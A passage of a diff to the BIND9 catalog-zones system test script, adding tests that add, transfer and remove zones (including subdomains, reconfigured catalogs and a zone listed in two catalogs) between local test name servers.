+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "removing domain ${special}. from catalog1 zone ($n)"
+    ret=0
+    $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+      server 10.53.0.1 ${PORT}
+      update delete ${hash}.zones.catalog1.example
+      send
+END
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "waiting for secondary to sync up ($n)"
+    ret=0
+    wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone '${special}' deleted" || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking that ${special}. is not served by secondary ($n)"
+    ret=0
+    wait_for_no_soa @10.53.0.2 "${special}." dig.out.test$n || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking that zone-directory is emptied ($n)"
+    ret=0
+    wait_for_no_zonefile "ns2/zonedir/$db" || ret=1
+    wait_for_no_zonefile "ns2/zonedir/$db.jnl" || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+done
+
+##########################################################################
+echo_i "Testing adding a domain and a subdomain of it"
+n=$((n+1))
+echo_i "checking that dom11.example. is not served by primary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.1 dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Adding a domain dom11.example. to primary via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom11.example.db
+echo "@ IN NS invalid." >> ns1/dom11.example.db
+rndccmd 10.53.0.1 addzone dom11.example. in default '{type primary; file "dom11.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom11.example. is now served by primary ($n)"
+ret=0
+wait_for_soa @10.53.0.1 dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "Adding domain dom11.example. to catalog1 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add 0580d70e769c86c8b951a488d8b776627f427d7a.zones.catalog1.example. 3600 IN PTR dom11.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: adding zone 'dom11.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom11.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom11.example. is served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that subdomain.of.dom11.example. is not served by primary ($n)"
+ret=0
+wait_for_rcode NXDOMAIN SOA @10.53.0.1 subdomain.of.dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Adding a domain subdomain.of.dom11.example. to primary via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/subdomain.of.dom11.example.db
+echo "@ IN NS invalid." >> ns1/subdomain.of.dom11.example.db
+rndccmd 10.53.0.1 addzone subdomain.of.dom11.example. in default '{type primary; file "subdomain.of.dom11.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that subdomain.of.dom11.example. is now served by primary ($n)"
+ret=0
+wait_for_soa @10.53.0.1 subdomain.of.dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "Adding domain subdomain.of.dom11.example. to catalog1 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add 25557e0bdd10cb3710199bb421b776df160f241e.zones.catalog1.example. 3600 IN PTR subdomain.of.dom11.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: adding zone 'subdomain.of.dom11.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'subdomain.of.dom11.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that subdomain.of.dom11.example. is served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 subdomain.of.dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "removing domain dom11.example. from catalog1 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+   server 10.53.0.1 ${PORT}
+   update delete 0580d70e769c86c8b951a488d8b776627f427d7a.zones.catalog1.example
+   send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom11.example' deleted" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom11.example. is not served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that subdomain.of.dom11.example. is still served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 subdomain.of.dom11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "removing domain subdomain.of.dom11.example. from catalog1 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+   server 10.53.0.1 ${PORT}
+   update delete 25557e0bdd10cb3710199bb421b776df160f241e.zones.catalog1.example
+   send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'subdomain.of.dom11.example' deleted" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that subdomain.of.dom11.example. is not served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 subdomain.of.d11.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+##########################################################################
+echo_i "Testing adding a catalog zone at runtime with rndc reconfig"
+n=$((n+1))
+echo_i "checking that dom12.example. is not served by primary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.1 dom12.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Adding a domain dom12.example. to primary via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom12.example.db
+echo "@ IN NS invalid." >> ns1/dom12.example.db
+rndccmd 10.53.0.1 addzone dom12.example. in default '{type primary; file "dom12.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom12.example. is now served by primary ($n)"
+ret=0
+wait_for_soa @10.53.0.1 dom12.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "Adding domain dom12.example. to catalog4 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add 871d51e5433543c0f6fb263c40f359fbc152c8ae.zones.catalog4.example. 3600 IN PTR dom12.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom12.example. is not served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom12.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+
+n=$((n+1))
+echo_i "reconfiguring secondary - adding catalog4 catalog zone ($n)"
+ret=0
+sed -e "s/^#T1//g" <  ns2/named1.conf.in > ns2/named.conf.tmp
+copy_setports ns2/named.conf.tmp ns2/named.conf
+rndccmd 10.53.0.2 reconfig || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: adding zone 'dom12.example' from catalog 'catalog4.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom12.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom7.example. is still served by secondary after reconfiguration ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.1 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+n=$((n+1))
+
+echo_i "checking that dom12.example. is served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom12.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "reconfiguring secondary - removing catalog4 catalog zone, adding non-existent catalog5 catalog zone ($n)"
+ret=0
+sed -e "s/^#T2//" < ns2/named1.conf.in > ns2/named.conf.tmp
+copy_setports ns2/named.conf.tmp ns2/named.conf
+$RNDC -c ../common/rndc.conf -s 10.53.0.2 -p "${CONTROLPORT}" reconfig > /dev/null 2>&1 && ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "reconfiguring secondary - removing non-existent catalog5 catalog zone ($n)"
+ret=0
+copy_setports ns2/named1.conf.in ns2/named.conf
+rndccmd 10.53.0.2 reconfig || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom12.example. is not served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom12.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "removing domain dom12.example. from catalog4 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete 871d51e5433543c0f6fb263c40f359fbc152c8ae.zones.catalog4.example. 3600 IN PTR dom12.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+##########################################################################
+echo_i "Testing having a zone in two different catalogs"
+n=$((n+1))
+echo_i "checking that dom13.example. is not served by primary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.1 dom13.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Adding a domain dom13.example. to primary ns1 via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom13.example.db
+echo "@ IN NS invalid." >> ns1/dom13.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom13.example.db
+rndccmd 10.53.0.1 addzone dom13.example. in default '{type primary; file "dom13.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom13.example. is now served by primary ns1 ($n)"
+ret=0
+wait_for_soa @10.53.0.1 dom13.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Adding a domain dom13.example. to primary ns3 via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom13.example.db
+echo "@ IN NS invalid." >> ns3/dom13.example.db
+echo "@ IN A 192.0.2.2" >> ns3/dom13.example.db
+rndccmd 10.53.0.3 addzone dom13.example. '{type primary; file "dom13.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom13.example. is now served by primary ns3 ($n)"
+ret=0
+wait_for_soa @10.53.0.3 dom13.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+
 nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "adding domain dom9.example. to catalog1 zone with an invalid masters suboption (TSIG without IP) ($n)"
+echo_i "Adding domain dom13.example. to catalog1 zone with ns1 as primary ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
-    update add label1.masters.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    update add 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN PTR dom13.example.
+    update add primaries.ext.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN A 10.53.0.1
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -733,18 +1836,28 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom9.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "error \"failure\" while trying to generate config for zone \"dom9.example\"" || ret=1
+wait_for_message ns2/named.run  "catz: adding zone 'dom13.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom13.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "deleting domain dom9.example. from catalog1 zone ($n)"
+echo_i "checking that dom13.example. is served by secondary and that it's the one from ns1 ($n)"
+ret=0
+wait_for_a @10.53.0.2 dom13.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Adding domain dom13.example. to catalog2 zone with ns3 as primary ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update delete f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
-    update delete label1.masters.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    server 10.53.0.3 ${PORT}
+    update add 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN PTR dom13.example.
+    update add primaries.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN A 10.53.0.3
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -753,166 +1866,54 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: deleting zone 'dom9.example' from catalog 'catalog1.example'" || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
-echo_i "Testing catalog entries that can't be represented as filenames"
-# note: we need 4 backslashes in the shell to get 2 backslashes in DNS
-# presentation format, which is 1 backslash on the wire.
-for special in \
-       this.is.a.very.very.long.long.long.domain.that.will.cause.catalog.zones.to.generate.hash.instead.of.using.regular.filename.dom10.example \
-       this.zone/domain.has.a.slash.dom10.example \
-       this.zone\\\\domain.has.backslash.dom10.example \
-       this.zone:domain.has.a.colon.dom.10.example
-do
-    # hashes below are generated by:
-    # python ${TOP}/contrib/scripts/catzhash.py "${special}"
-
-    case "$special" in
-    this.is.a.very.very.long.long.long.domain.that.will.cause.catalog.zones.to.generate.hash.instead.of.using.regular.filename.dom10.example)
-        hash=825f48b1ce1b4cf5a041d20255a0c8e98d114858
-        db=__catz__4d70696f2335687069467f11f5d5378c480383f97782e553fb2d04a7bb2a23ed.db
-        ;;
-    this.zone/domain.has.a.slash.dom10.example)
-        hash=e64cc64c99bf52d0a77fb16dd7ed57cf925a36aa
-        db=__catz__46ba3e1b28d5955e5313d5fee61bedc78c71d08035aa7ea2f7bf0b8228ab3acc.db
-        ;;
-    this.zone\\\\domain.has.backslash.dom10.example)
-        hash=91e27e02153d38cf656a9b376d7747fbcd19f985
-        db=__catz__b667f7ff802c0895e0506699951cff9a1cab68c5ef8546aa0d07425f244ed870.db
-        ;;
-    this.zone:domain.has.a.colon.dom.10.example)
-        hash=8b7238bf4c34045834c573ba4116557ebb24d33c
-        db=__catz__5c721f7872913a4e7fa8ad42589cce5dd6e551a4c9e6ab3f86e77c0bbc7c2ca6.db
-        ;;
-    esac
-
-    n=$((n+1))
-    echo_i "checking that ${special}. is not served by primary ($n)"
-    ret=0
-    wait_for_no_soa @10.53.0.1 "${special}" dig.out.test$n || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "Adding a domain ${special}. to primary via RNDC ($n)"
-    ret=0
-    echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom10.example.db
-    echo "@ IN NS invalid." >> ns1/dom10.example.db
-    rndccmd 10.53.0.1 addzone '"'"${special}"'"' '{type primary; file "dom10.example.db";};' || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "checking that ${special}. is now served by primary ($n)"
-    ret=0
-    wait_for_soa @10.53.0.1 "${special}." dig.out.test$n || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    nextpart ns2/named.run >/dev/null
-
-    n=$((n+1))
-    echo_i "Adding domain ${special}. to catalog1 zone ($n)"
-    ret=0
-    $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-      server 10.53.0.1 ${PORT}
-      update add ${hash}.zones.catalog1.example 3600 IN PTR ${special}.
-      send
-END
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "waiting for secondary to sync up ($n)"
-    ret=0
-    wait_for_message ns2/named.run  "catz: adding zone '$special' from catalog 'catalog1.example'" &&
-    wait_for_message ns2/named.run  "transfer of '$special/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "checking that ${special}. is served by secondary ($n)"
-    ret=0
-    wait_for_soa @10.53.0.2 "${special}." dig.out.test$n || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "checking that zone-directory is populated with a hashed filename ($n)"
-    ret=0
-    wait_for_zonefile "ns2/zonedir/$db" || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "removing domain ${special}. from catalog1 zone ($n)"
-    ret=0
-    $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-      server 10.53.0.1 ${PORT}
-      update delete ${hash}.zones.catalog1.example
-      send
-END
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "waiting for secondary to sync up ($n)"
-    ret=0
-    wait_for_message ns2/named.run  "zone_shutdown: zone ${special}/IN: shutting down" || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-
-    n=$((n+1))
-    echo_i "checking that ${special}. is not served by secondary ($n)"
-    ret=0
-    wait_for_no_soa @10.53.0.2 "${special}." dig.out.test$n || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
+n=$((n+1))
+echo_i "checking that dom13.example. is served by secondary and that it's still the one from ns1 ($n)"
+ret=0
+wait_for_a @10.53.0.2 dom13.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-    n=$((n+1))
-    echo_i "checking that zone-directory is emptied ($n)"
-    ret=0
-    wait_for_no_zonefile "ns2/zonedir/$db" || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-done
+nextpart ns2/named.run >/dev/null
 
-##########################################################################
-echo_i "Testing adding a domain and a subdomain of it"
 n=$((n+1))
-echo_i "checking that dom11.example. is not served by primary ($n)"
+echo_i "Deleting domain dom13.example. from catalog2 ($n)"
 ret=0
-wait_for_no_soa @10.53.0.1 dom11.example. dig.out.test$n || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.3 ${PORT}
+    update delete 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN PTR dom13.example.
+    update delete primaries.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog2.example. 3600 IN A 10.53.0.3
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Adding a domain dom11.example. to primary via RNDC ($n)"
+echo_i "waiting for secondary to sync up ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom11.example.db
-echo "@ IN NS invalid." >> ns1/dom11.example.db
-rndccmd 10.53.0.1 addzone dom11.example. '{type primary; file "dom11.example.db";};' || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom11.example. is now served by primary ($n)"
+echo_i "checking that dom13.example. is served by secondary and that it's still the one from ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom11.example. dig.out.test$n || ret=1
+wait_for_a @10.53.0.2 dom13.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
-
 n=$((n+1))
-echo_i "Adding domain dom11.example. to catalog1 zone ($n)"
+echo_i "Deleting domain dom13.example. from catalog1 ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add 0580d70e769c86c8b951a488d8b776627f427d7a.zones.catalog1.example. 3600 IN PTR dom11.example.
+    update delete 8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN PTR dom13.example.
+    update delete primaries.ext.8d7989c746b3f92b3bba2479e72afd977198363f.zones.catalog1.example. 3600 IN A 10.53.0.2
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -921,49 +1922,52 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom11.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom11.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom11.example. is served by secondary ($n)"
+echo_i "checking that dom13.example. is no longer served by secondary ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom11.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.2 dom13.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+##########################################################################
+echo_i "Testing recreation of a manually deleted zone after a reload"
 n=$((n+1))
-echo_i "checking that subdomain.of.dom11.example. is not served by primary ($n)"
+echo_i "checking that dom16.example. is not served by primary ($n)"
 ret=0
-wait_for_rcode NXDOMAIN SOA @10.53.0.1 subdomain.of.dom11.example. dig.out.test$n || ret=1
+wait_for_no_soa @10.53.0.1 dom16.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "Adding a domain subdomain.of.dom11.example. to primary via RNDC ($n)"
+echo_i "Adding a domain dom16.example. to primary ns1 via RNDC ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/subdomain.of.dom11.example.db
-echo "@ IN NS invalid." >> ns1/subdomain.of.dom11.example.db
-rndccmd 10.53.0.1 addzone subdomain.of.dom11.example. '{type primary; file "subdomain.of.dom11.example.db";};' || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom16.example.db
+echo "@ IN NS invalid." >> ns1/dom16.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom16.example.db
+rndccmd 10.53.0.1 addzone dom16.example. in default '{type primary; file "dom16.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that subdomain.of.dom11.example. is now served by primary ($n)"
+echo_i "checking that dom16.example. is now served by primary ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.1 subdomain.of.dom11.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.1 dom16.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "Adding domain subdomain.of.dom11.example. to catalog1 zone ($n)"
+echo_i "Adding domain dom16.example. to catalog1 zone with ns1 as primary ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add 25557e0bdd10cb3710199bb421b776df160f241e.zones.catalog1.example. 3600 IN PTR subdomain.of.dom11.example.
+    update add efe725d0cf430ffb113b9bcf59266f066a21216b.zones.catalog1.example. 3600 IN PTR dom16.example.
+    update add masters.efe725d0cf430ffb113b9bcf59266f066a21216b.zones.catalog1.example. 3600 IN A 10.53.0.1
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -972,57 +1976,78 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'subdomain.of.dom11.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'subdomain.of.dom11.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "catz: adding zone 'dom16.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom16.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "checking that subdomain.of.dom11.example. is served by secondary ($n)"
+echo_i "checking that dom16.example. is served by secondary and that it's the one from ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.2 subdomain.of.dom11.example. dig.out.test$n || ret=1
+wait_for_a @10.53.0.2 dom16.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+echo_i "Deleting dom16.example. from secondary ns2 via RNDC ($n)"
+ret=0
+rndccmd 10.53.0.2 delzone dom16.example. in default >/dev/null 2>&1 || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
